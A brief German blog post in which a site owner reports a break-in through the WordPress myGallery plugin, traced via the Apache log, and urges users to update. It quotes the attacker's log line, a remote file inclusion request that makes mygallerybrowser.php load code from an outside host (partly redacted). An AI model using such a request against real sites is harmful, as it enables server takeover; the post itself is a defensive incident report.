Ich setze auf einer anderen Domain Wordpress ein und habe dort zum darstellen von Bildern das geniale Plugin myGallery dort ebenfalls im Einsatz.
Gestern nachmittag war es dann soweit, ein Blick ins Apache log zeigte mir, dass gerade seit fünf Minuten, sich da jemand auf den Server gehacked hatte.
Ein "locate" nach dieser Datei, die per wget runtergeladen wurde zeigte mir den Ort. Es war im myGallery Verzeichnis.
Ein kurzer Blick in das Apachelog dieser Domain zeigt die genaue Vorgehensweise und das Sicherheitsloch:
87.6.146.147 - - [29/Jun/2007:14:40:33 +0200] "GET //wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://www.bgsuedpark.de/data/
xxxxxxxxxxxxxx? HTTP/1.1" 200 9957 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
Ein anschließendes Durchsuchen des Changelogs der aktuellen myGallery Version brachte den Hinweis auf einen geschlossenen Sicherheitsbug:
Wordpress Plugin myGallery <= 1.4b4 Remote File Inclusion Vulnerability
Also schnell das Update eingespielt, die Datei gelöscht und schon war wieder Ruhe.
Ich kann also nur jeden raten, der dieses Plugin verwendet, auf die neuste Version zu updaten.
xxxxxxxxxx = abgeändert.